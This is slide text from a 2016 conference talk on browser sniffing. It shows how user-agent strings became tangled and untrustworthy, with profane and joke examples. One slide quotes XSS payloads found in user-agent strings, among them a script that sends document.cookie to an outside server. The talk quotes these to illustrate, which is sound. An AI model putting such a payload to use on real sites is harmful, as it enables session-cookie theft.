the 8 minute version that contains none of that boring shit and just the jokes and weird stuff s e i l y d o b y er v e fronteers conference — jam sessions, october 6th 2016
A presentation at Fronteers Jam Sessions 2016 in October 2016 in Amsterdam, Netherlands by Niels Leenheer
the 8 minute version that contains none of that boring shit and just the jokes and weird stuff s e i l y d o b y er v e fronteers conference — jam sessions, october 6th 2016
: g n i n war this talk is full of lies and deception
… s ye this talk is about browser sniffing
? y h w
browser sniffing is dirty
you should use feature detection
: s er op l e v e D b e W Dear d i p u t S s i g n i f f i n S er s Brow http://www.webstandards.org/2002/12/20/dear-web-developers-browser-sniffing-is-stupid/
er s ow r B y h W s on s a e 5R s k n i t S g n i f f i n S https://www.sitepoint.com/why-browser-sniffing-stinks/
everybody uses browser sniffing
… y h w is browser sniffing so difficult?
things started out simple
Mosaic Mosaic/0.9
Netscape Navigator Mozilla/1.0 (Win3.1) code name of the browser
but it quickly started to get complicated
Internet Explorer Mozilla/1.0 (compatible; MSIE 1.0; Windows 95) compatible with Netscape Navigator 1.0
Opera Opera/10.00 (Windows NT 5.1; U; en) Presto/2.2.0
Opera Opera/9.8 (Windows NT 5.1; U; en) Presto/2.2.0 Version/10.00 real version of the browser
Firefox Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1) Gecko/20090624 Firefox/3.5 build date of the rendering engine
Firefox Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 build date is no longer updated
Firefox Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/16.0 Firefox/16.0
and it gets worse…
Safari Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3
Chrome Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/525.27.1 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/525.28.3
Opera Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.180
Internet Explorer Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Edge Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/525.28.3 Edge/12.10162
and those were all relatively normal user-agent strings
sometimes browsers lie to hide their true identity
Opera Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50
Opera Mobile (desktop mode) ROT 13 encrypted “mobi“ Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50
Internet Explorer Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)
Internet Explorer (compatibility view) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0) Trident 5 means it’s Internet Explorer 9
and it is possible to change the user-agent string yourself
XSS attacks
<script>alert("My Little Pony");</script> <script language="JavaScript">document.location= "http://www.max1094.18.lc/admin/cookies.php?c=" + document.cookie;</script> <img src="http://bravo.trollab.org/mylittlepony.png" alt="My Little Pony">
XSS attacks
funny people (╯°□°）╯︵ ┻━┻ Mozilla/10.0 (compatible; MSIE 10.0; CP/M; 8-bit)
angry people
angry people FuckZilla/666.0 (Gavnoid; Debile; rv:123.0) FuckYou/123.0 FuckingFox/321.0 Opera/9.80 (Windows NT 6.1; U; FuckYou; xx) Presto/2.10.229 Version/11.62 Seriously, Go fuck yourself W3C standards are important. Stop fucking obsessing over user-agent already.
1.000.000 unique useragent strings
82 x fuck 1.000.000 unique useragent strings
82 x fuck 1.000.000 unique useragent strings 6 x ass
82 x fuck 1.000.000 unique useragent strings 6 x ass 3 x vagina
82 x fuck 1.000.000 unique useragent strings 6 x ass 3 x vagina 108 x sex
82 x fuck 1.000.000 unique useragent strings 6 x ass 10 x shit 3 x vagina 108 x sex
82 x fuck 9 x dick 1.000.000 unique useragent strings 6 x ass 10 x shit 3 x vagina 108 x sex
4 x balls 82 x fuck 9 x dick 1.000.000 unique useragent strings 6 x ass 10 x shit 3 x vagina 108 x sex
user-agent strings cannot be trusted!
s e i l y d o b y er v e
er v e n d l ou h s you use browser sniffing for controlling access to your website
er v e n d l ou h s you use browser sniffing for determining browser capabilities
er v e n d l ou h s you build your own browser sniffing library
“If you tell a big enough lie and tell it frequently enough, it will be believed” — Ghandi
“If you tell a big enough lie and tell it frequently enough, it will be believed” — Ghandi
“If you tell a big enough lie and tell it frequently enough, it will be believed” — Adolf Hitler
thank you!
thank you!
